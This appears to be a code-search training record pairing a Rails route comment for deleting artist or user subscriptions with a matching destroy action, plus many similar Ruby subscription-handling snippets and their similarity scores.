"def index\n @subscriptions = current_user.subscriptions.order(:created_at)\n @user = current_user\n\n if not current_user.fitbit.nil?\n begin\n @fitbit_subscriptions = JSON.parse(current_user.fitbit.client.get('/1/user/-/apiSubscriptions.json').body)['apiSubscriptions']\n rescue SocketError\n logger.error \"Can not talk to fitbit\"\n end\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subscriptions }\n end\n end",
"def index\n @my_subscriptions = current_user.active_subscriptions\n end",
"def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :organization_key => HttpClient::Preconditions.assert_class_or_nil('organization_key', opts.delete(:organization_key), String),\n :user_guid => HttpClient::Preconditions.assert_class_or_nil('user_guid', HttpClient::Helper.to_uuid(opts.delete(:user_guid)), String),\n :publication => HttpClient::Preconditions.assert_class_or_nil('publication', opts[:publication].nil? ? nil : (opts[:publication].is_a?(Apidoc::Models::Publication) ? opts.delete(:publication) : Apidoc::Models::Publication.apply(opts.delete(:publication))), Apidoc::Models::Publication),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/subscriptions\").with_query(query).get.map { |hash| Apidoc::Models::Subscription.new(hash) }\n end",
"def list_subscribers(user, list)\n get(\"/#{user}/#{list}/subscribers.json\")\n end",
"def subscriptions(page = 1)\n Dropio::Resource.client.subscriptions(self, page)\n end"
] |
[
"0.74408406",
"0.65484357",
"0.65484357",
"0.6431358",
"0.6392557",
"0.63695854",
"0.63327",
"0.63327",
"0.62078106",
"0.6179628",
"0.6074405",
"0.60738605",
"0.6072351",
"0.60710096",
"0.60710096",
"0.60710096",
"0.60710096",
"0.6069355",
"0.6066334",
"0.6054746",
"0.6022597",
"0.6012429",
"0.598632",
"0.5965195",
"0.5935343",
"0.59283125",
"0.59264934",
"0.5925389",
"0.5923811",
"0.5913409",
"0.59119153",
"0.5908031",
"0.5908031",
"0.5889715",
"0.5889715",
"0.5889715",
"0.5838585",
"0.5833993",
"0.5827744",
"0.5827535",
"0.5824802",
"0.58217835",
"0.5820938",
"0.5820938",
"0.5820938",
"0.58189905",
"0.58086073",
"0.5803338",
"0.5797582",
"0.57823515",
"0.5761879",
"0.57599866",
"0.57566947",
"0.5746973",
"0.5744656",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.57383317",
"0.5730239",
"0.57302016",
"0.5719225",
"0.570826",
"0.570826",
"0.570826",
"0.5694245",
"0.5690625",
"0.56856376",
"0.5680772",
"0.5680772",
"0.5680772",
"0.567011",
"0.5661322",
"0.5642232",
"0.5639919",
"0.56224203",
"0.56224203",
"0.56224203",
"0.5615547",
"0.5614066",
"0.5612903",
"0.5612184",
"0.5607636",
"0.5606941",
"0.56062645",
"0.56058353",
"0.56024337",
"0.5598053",
"0.5595907",
"0.55918133"
] |
0.5757218
|
52
|
DELETE /artists/:artist_id/subscription/:id DELETE /users/:user_id/subscription/:id
|
def destroy
@subscription.destroy
respond_to do |format|
format.html { redirect_to artist_subscription_path }
format.json { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy \n Instagram.delete_subscription({:id => params[:id]})\n local_subscription = Subscription.find_by_original_id params[:id]\n local_subscription.destroy if local_subscription\n redirect_to :admin_subscriptions\n end",
"def destroy\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to admin_artists_url }\n end\n end",
"def destroy\n subscription = current_user.subscriptions.find(params[:id])\n subscription.destroy!\n\n render json: { status: 'success'}\n end",
"def destroy\n @subscription = current_user.subscriptions.find(params[:id])\n\t\tmanga = Manga.find(@subscription.manga_id)\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to mangas_url, notice: 'Successfully unsubscribed to '+ manga.display_name.to_s}\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @owner = @subscription.owner\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to polymorphic_url([@owner, :subscriptions]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist.destroy_songs\n @artist.albums.destroy_all\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to artists_url, notice: 'Artist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: (I18n.t :subscription_deleted) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_artist.destroy\n respond_to do |format|\n format.html { redirect_to user_artists_url, notice: 'User artist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if session[:user_id] \n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n \n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end\n end",
"def destroy\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to artists_url, notice: t(:destroy_notice) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to organization_artists_url(organization_id: @organization.id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to artists_url, notice: 'artist was successfully destroyed.' }\n end\n end",
"def destroy\n @admin_artist = Artist.find(params[:id])\n @admin_artist.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_artists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to root_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist = Artist.find(params[:id])\n @artist.destroy\n\n respond_to do |format|\n format.html { redirect_to(artists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @artist = Artist.find(params[:id])\n @artist.destroy\n\n respond_to do |format|\n format.html { redirect_to(artists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @artist = Artist.find(params[:id])\n @artist.destroy\n\n respond_to do |format|\n format.html { redirect_to(artists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @artist = Artist.find(params[:id])\n @artist.destroy\n\n respond_to do |format|\n format.html { redirect_to artists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist = Artist.find(params[:id])\n @artist.destroy\n\n respond_to do |format|\n format.html { redirect_to artists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @subscription.destroy\n\n head :no_content\n end",
"def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.xml { head :ok }\n end\n end",
"def destroy\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to artists_url, notice: 'Artist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to artists_url, notice: 'Artist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to artists_url, notice: 'Artist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to artists_url, notice: 'Artist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscribe.destroy\n\n respond_to do |format|\n format.html { redirect_to subscribes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to artists_url, notice: \"Artist was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist = Artist.find(params[:id])\n @artist.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to @subscription.transaction }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n auth!\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(manage_screen_field_subscriptions_url(@screen, @field)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @subscriber = Subscriber.find(params[:id])\n @subscriber.destroy\n\n respond_to do |format|\n format.html { redirect_to subscribers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @subscriber = Subscriber.find(params[:id])\n @subscriber.destroy\n\n respond_to do |format|\n format.html { redirect_to subscribers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @artist.destroy\n\n respond_to do |format|\n format.html { redirect_to artists_url, notice: 'Artist was successfully destroyed.' }\n\n format.json { head :no_content }\n end\n end",
"def destroy\n @fine_artist = FineArtist.find(params[:id])\n @fine_artist.destroy\n\n respond_to do |format|\n format.html { redirect_to(fine_artists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n event = Subscription.find(params[:id]).event\n current_user.unsubscribe(event)\n redirect_to event\n end",
"def destroy\n @subscriber = Subscriber.find(params[:id])\n @subscriber.destroy\n\n respond_to do |format|\n format.html { redirect_to subscribers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n targets = Subscription.where(ordinal: (@subscription.ordinal + 1)..Float::INFINITY)\n\n targets.each do |target|\n target.update(ordinal: target.ordinal - 1)\n end\n\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to owner_subscriptions_url(owner_id: @owner.id), notice: 'サブスクショップを削除しました' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spotify_artist.destroy\n respond_to do |format|\n format.html { redirect_to spotify_artists_url, notice: 'Spotify artist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @misuration_subscription.destroy\n respond_to do |format|\n format.html { redirect_to misuration_subscriptions_url, notice: 'Iscrizione al sensore eliminata correttamente' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_subscription.destroy\n respond_to do |format|\n format.html { redirect_to api_subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @subscription = Subscription.find(params[:id])\r\n @subscription.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to business_user_subscriptions_path }\r\n format.json { head :ok }\r\n end\r\n end",
"def destroy\n @subscription = current_user.subscriptions.find(params[:id])\n #TODO move to model Subscription\n if not current_user.fitbit.nil?\n path = ['/1/user/-', @subscription.collection_path, 'apiSubscriptions', @subscription.subscription_id + '-' + @subscription.collection_path]\n current_user.fitbit.client.delete(path.join('/') + '.json')\n flash[:success] = 'Subscription successfully removed from Fitbit.'\n else\n flash[:error] = 'Can not remove subscription from Fitbit, because you are not connected.'\n end\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @subscriber.destroy\n respond_to do |format|\n format.html { redirect_to subscribers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artista.destroy\n respond_to do |format|\n format.html { redirect_to artistas_url, notice: 'Artista was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscriber = Subscriber.find(params[:id])\n @subscriber.destroy\n\n respond_to do |format|\n format.html { redirect_to account_subscribers_url(@account) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to campaign_subscriptions_path(@campaign) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n auth!\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(screen_field_subscription_path(@screen, @field)) }\n format.xml { head :ok }\n format.js { head :ok }\n end\n end",
"def destroy\n @subscribe.destroy\n respond_to do |format|\n format.html { redirect_to subscribes_url, notice: 'Subscribe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscribe.destroy\n respond_to do |format|\n format.html { redirect_to subscribes_url, notice: 'Subscribe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscribe.destroy\n respond_to do |format|\n format.html { redirect_to subscribes_url, notice: 'Subscribe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sub = Sub.find(params[:id])\n @sub.destroy\n\n respond_to do |format|\n format.html { redirect_to(subs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html {\n if request.referrer == subscription_url(@subscription)\n redirect_to session[:sub_delete_return_to]\n else\n redirect_to :back\n end\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription_request = SubscriptionRequest.find(params[:id])\n @subscription_request.destroy\n\n respond_to do |format|\n format.html { redirect_to subscription_requests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @similar_artist.destroy\n respond_to do |format|\n format.html { redirect_to similar_artists_url, notice: 'Similar artist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist_product.destroy\n respond_to do |format|\n format.html { redirect_to([:admin, @artist_product.artist]) }\n format.xml { head :ok }\n format.js\n end\n website.add_log(user: current_user, action: \"Unassociated #{@artist_product.product.name} with #{@artist_product.artist.name}\")\n end",
"def destroy\n @song = Song.find(params[:id])\n @song.destroy\n\n respond_to do |format|\n format.html { redirect_to user_songs_path(@song.user)}\n format.json { head :ok }\n end\n end",
"def destroy\n @unsubscription.destroy\n respond_to do |format|\n flash[:success] = \"Le traitement a bien été supprimé!\"\n format.html { redirect_to unsubscriptions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_subscription.destroy\n respond_to do |format|\n format.html { redirect_to admin_subscriptions_url, notice: 'L\\'abonnement a bien été créé supprimé.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @song = Song.find(params[:id])\n @song.destroy if @song.artist == current_user\n # do I need to render anything here?\n end",
"def destroy\n @subscriber.destroy\n respond_to do |format|\n format.html { redirect_to subscribers_url, notice: 'Subscriber was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crytosubscription.destroy\n respond_to do |format|\n format.html { redirect_to crytosubscriptions_url, notice: 'Crytosubscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artist_medium.destroy\n respond_to do |format|\n format.html { redirect_to artist_mediums_url, notice: 'Artist was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subsidy = Subsidy.find(params[:id])\n @subsidy.destroy\n\n respond_to do |format|\n format.html { redirect_to subsidies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription_history = SubscriptionHistory.find(params[:id])\n @subscription_history.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscription_histories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @artist = Artist.find(params[:id])\n @artist.destroy\n\n respond_to do |format|\n format.html { redirect_to artists_url }\n format.json { head :ok }\n #format.js { render :nothing => true }\n end\n end",
"def destroy\n @subscription_user.destroy\n respond_to do |format|\n format.html { redirect_to subscription_users_url, notice: 'Subscription user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @artist.artist_brands.size <= 1\n @artist.destroy\n else\n @artist.artist_brands.each do |ab|\n ab.destroy if ab.brand == website.brand\n end\n end\n respond_to do |format|\n format.html { redirect_to(admin_artists_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted artist: #{@artist.name}\")\n end",
"def destroy\n @song.destroy\n respond_to do |format|\n format.html { redirect_to user_path(current_user), notice: 'La musique a bien été supprimée.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_subscription = ServiceSubscription.find(params[:id])\n @service_subscription.destroy\n \n redirect_to service_subscriptions_path\n\n # respond_to do |format|\n # format.html { redirect_to(service_subscriptions_url) }\n # format.xml { head :ok }\n # end\n end",
"def destroy\n @subscriber = Subscriber.find(params[:id])\n @subscriber.destroy\n\n respond_to do |format|\n format.html { redirect_to subscribers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @event_subscription.destroy\n head :no_content\n end",
"def destroy\n @artist_tag = ArtistTag.find(params[:id])\n @artist_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to artist_tags_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n\r\n logger.info \"in destroy\"\r\n\r\n\t\t@song = Song.find(params[:song_id])\r\n\t\t@artist = Artist.find(@song.s_a_id)\r\n\t\tauthorize! :update, @artist\r\n\r\n\r\n\t\t@song.destroy\r\n\r\n\r\n\t\t(@song.s3_id)\r\n\t\ts3_delete(BUCKET, @song.s3_id)\r\n\r\n\t\tredirect_to(artist_show_songs_path(@artist.url_slug))\r\n\r\n\tend",
"def destroy\n if @song.users.count == 1 && (@song.users.include? current_user)\n @song.destroy\n elsif @song.users.include? current_user\n current_user.songs.delete(@song)\n end\n redirect_back(fallback_location: current_user)\n end",
"def delete_subscriptions\n end",
"def destroy\n @music.destroy\n respond_to do |format|\n format.html { redirect_to request.referrer, notice: 'Track has successfully deleted.' }\n end\n end",
"def destroy\n @sub.destroy\n redirect_to subs_url, notice: \"Sub #{@sub.name} successfully deleted!\"\n end",
"def destroy\n @song_queue_user.destroy\n respond_to do |format|\n format.html { redirect_to song_queue_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subscription_list.destroy\n respond_to do |format|\n format.html { redirect_to subscription_lists_url, notice: 'La Lista de Entrega se borró exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @musica.audios.purge\n @musica.destroy\n respond_to do |format|\n format.html { redirect_to musicas_url, notice: 'Álbum apagado com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n@subscription.destroy\nrespond_to do |format|\n format.html { redirect_to :back, notice: 'Pet was successfully destroyed.' }\n format.json { head :no_content }\nend\nend",
"def destroy\n @list_subscription = ListSubscription.find(params[:id])\n @list_subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to list_subscriptions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @artpiece = Artpiece.find(params[:id])\n @artist = @artpiece[:artist_id]\n @artpiece.destroy\n\n redirect_to :controller => \"artists\", :action => \"show\", :id => @artist\n end",
"def destroy\n @user_song.destroy\n respond_to do |format|\n format.html { redirect_to user_songs_url, notice: 'User song was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @track = current_user.tracks.find(params[:id])\n @track.destroy\n\n respond_to do |format|\n format.html { redirect_to tracks_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.71585166",
"0.7127667",
"0.7106162",
"0.70964944",
"0.70713276",
"0.7069454",
"0.7045476",
"0.7044647",
"0.7041809",
"0.7041801",
"0.7041801",
"0.7041801",
"0.7041801",
"0.7041557",
"0.7011846",
"0.7004748",
"0.7003779",
"0.70001084",
"0.699246",
"0.6980299",
"0.69652104",
"0.69652104",
"0.69652104",
"0.6919433",
"0.6919433",
"0.6890888",
"0.6890888",
"0.6890888",
"0.6864049",
"0.6863404",
"0.6863404",
"0.6863404",
"0.6863404",
"0.6863404",
"0.6863323",
"0.6860488",
"0.6860488",
"0.6860488",
"0.6860488",
"0.68508166",
"0.68494886",
"0.68487906",
"0.68397707",
"0.6834045",
"0.68242604",
"0.6822414",
"0.681133",
"0.68087393",
"0.68048537",
"0.6801967",
"0.6793182",
"0.67921984",
"0.6773136",
"0.67685926",
"0.6763836",
"0.6760644",
"0.6750303",
"0.67496663",
"0.6746807",
"0.67199486",
"0.6692919",
"0.6690265",
"0.6680626",
"0.6680626",
"0.6680626",
"0.66780204",
"0.6676294",
"0.6673057",
"0.6642099",
"0.6639355",
"0.6634857",
"0.66311556",
"0.6628324",
"0.66146314",
"0.6597455",
"0.65949744",
"0.6594356",
"0.65888405",
"0.6581938",
"0.65780514",
"0.65619797",
"0.6554162",
"0.6545851",
"0.6529349",
"0.652278",
"0.6520521",
"0.65138006",
"0.6500238",
"0.649188",
"0.64850605",
"0.64833105",
"0.6479879",
"0.6475829",
"0.6460938",
"0.6458864",
"0.6450461",
"0.6449195",
"0.6447318",
"0.6440935",
"0.6435293"
] |
0.8008545
|
0
|
Get associated subscription (two paths)
|
def lookup_subscription
@subscription = if params.has_key?(:id)
UserSubscription.find(params[:id])
else
current_user.user_subscriptions.where(artist: @user).first
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_subscription subscription_name, options = {}\n subscriber.get_subscription subscription: subscription_path(subscription_name, options)\n end",
"def subscription\n device = APN::Device.where(:subscriptions => {'$elemMatch' => { :_id => self.subscription_id }}).first\n device.subscriptions.where(:_id => self.subscription_id).first\n end",
"def subscription\n ret = nil\n if type == 'S'\n ret = @mc2p.subscription('id' => @json_body['id'])\n ret.retrieve\n end\n ret\n end",
"def subscription\n case attributes['subscription']\n when 'both' then :both\n when 'from' then :from\n when 'none' then :none\n when 'remove' then :remove\n when 'to' then :to\n else nil\n end\n end",
"def get_subscription(subscription_id)\n get(url_(\"subscription\", subscription_id))\n end",
"def subscription_for(topic)\n subscriptions.where(:topic_id => topic.id).first\n end",
"def current_subscription\n self.subscriptions.current.first\n end",
"def subscription\n s = subscription_node[:subscription]\n s.to_sym if s\n end",
"def subscription\n attributes[:subscription].to_sym if attributes[:subscription]\n end",
"def subscription_id\n customer.subscriptions.first.id\n end",
"def subscription\n subscriptions.last\n end",
"def subscription_path\n @subscription_path ||= \"#{@app_id}/subscriptions\"\n end",
"def subscription_to(subscriber, subscription_level = nil)\n matches = self.subscriptions_to.where(:\"#{Sable.subscriber_relation_name.to_sym}_id\" => subscriber.id)\n matches = matches.where('level >= ?', subscription_level) unless subscription_level == nil\n (matches.length > 0) ? matches.first : nil\n end",
"def get_subscription(survey_id)\r\n (s = self.subscriptions.by_survey(survey_id)) && s.first\r\n end",
"def get_subscription(survey_id)\r\n (s = self.subscriptions.by_survey(survey_id)) && s.first\r\n end",
"def find_any_subscription_with(user)\n Subscription.where(:user_id => self.id, :subscriber_id => user.id).first\n end",
"def stripe_subscription\n if stripe_subscription_id\n Stripe::Subscription.retrieve(stripe_subscription_id)\n end\n end",
"def product_subscription(product)\n self.subscriptions.select { |s| s.product == product }.first\n end",
"def subscription\n Zapi::Models::Subscription.new\n end",
"def subscription\n ensure_connection\n @consumers.find(&:subscription)\n end",
"def active_subscription\n self.active_subscriptions.first\n end",
"def subid\n subscription_node[:subid]\n end",
"def subscription(repo, options = {})\n get \"#{Repository.path repo}/subscription\", options\n end",
"def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :organization_key => HttpClient::Preconditions.assert_class_or_nil('organization_key', opts.delete(:organization_key), String),\n :user_guid => HttpClient::Preconditions.assert_class_or_nil('user_guid', HttpClient::Helper.to_uuid(opts.delete(:user_guid)), String),\n :publication => HttpClient::Preconditions.assert_class_or_nil('publication', opts[:publication].nil? ? nil : (opts[:publication].is_a?(Apidoc::Models::Publication) ? opts.delete(:publication) : Apidoc::Models::Publication.apply(opts.delete(:publication))), Apidoc::Models::Publication),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/subscriptions\").with_query(query).get.map { |hash| Apidoc::Models::Subscription.new(hash) }\n end",
"def get_subscriptions\n get_subscriptions_from(@nodename)\n end",
"def subscription subscription_name, skip_lookup: nil\n ensure_connection!\n if skip_lookup\n return Subscription.new_lazy(subscription_name, connection)\n end\n resp = connection.get_subscription subscription_name\n return Subscription.from_gapi(resp.data, connection) if resp.success?\n return nil if resp.status == 404\n fail ApiError.from_response(resp)\n end",
"def current_subscription(customer)\n customer.subscriptions.first\n end",
"def subscriptions\n\t\t@subscriptions = current_user.customer.subjects\n\tend",
"def get(subscription_key)\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::GET_SUBSCRIPTION.gsub(\"{subscription-key}\", ERB::Util.url_encode(subscription_key))\n\n puts \"========== GET A SUBSCRIPTION ============\"\n\n begin\n @z_client.get(args) do |resp|\n ap resp\n return resp if resp.httpStatusCode.to_i == 200 && resp.success\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n\n nil\n end",
"def subscription\n @current\n end",
"def get_subscriptions(id:, order: nil)\n if order\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions?order=#{uri_encode(order)}\")\n else\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions\")\n end\n end",
"def get_subscriptions(id:, order: nil)\n if order\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions?order=#{uri_encode(order)}\")\n else\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions\")\n end\n end",
"def subscription_id\n @event.attributes[:subscription_id]\n end",
"def subscriptions( params={} )\n subscriptions = get_connections(\"subscriptions\", params)\n return map_connections subscriptions, :to => Facebook::Graph::Subscription\n end",
"def all_subscriptions\n get(url_(\"subscription\"))\n end",
"def subid\n unsubscribe[:subid]\n end",
"def show\n @subscription = Subscription.where(follower_id: current_user.id,\n followed_id: @user.id).first\n end",
"def subaccounts()\n get('subAccounts')\n end",
"def fetch_subscription(_params) \n subscription_id = _params['subscription_id']\n if subscription_id.blank? == true \n return false\n end \n begin\n result = ChargeBee::Subscription.retrieve(subscription_id)\n session[:subscription_id] = result.subscription.id\n session[:customer_id] = result.customer.id\n return true\n rescue ChargeBee::APIError => e\n if e.api_error_code == \"resource_not_found\"\n return false\n end\n throw e\n end\n end",
"def show\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"def show\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"def get_subscription_path()\n\t\tif !current_teacher.subscribed_to?(@teacher.id)\n\t\t\treturn confsub_path(@teacher)\n\t\telse\n\t\t\treturn confunsub_path(@teacher)\n\t\tend\n\tend",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
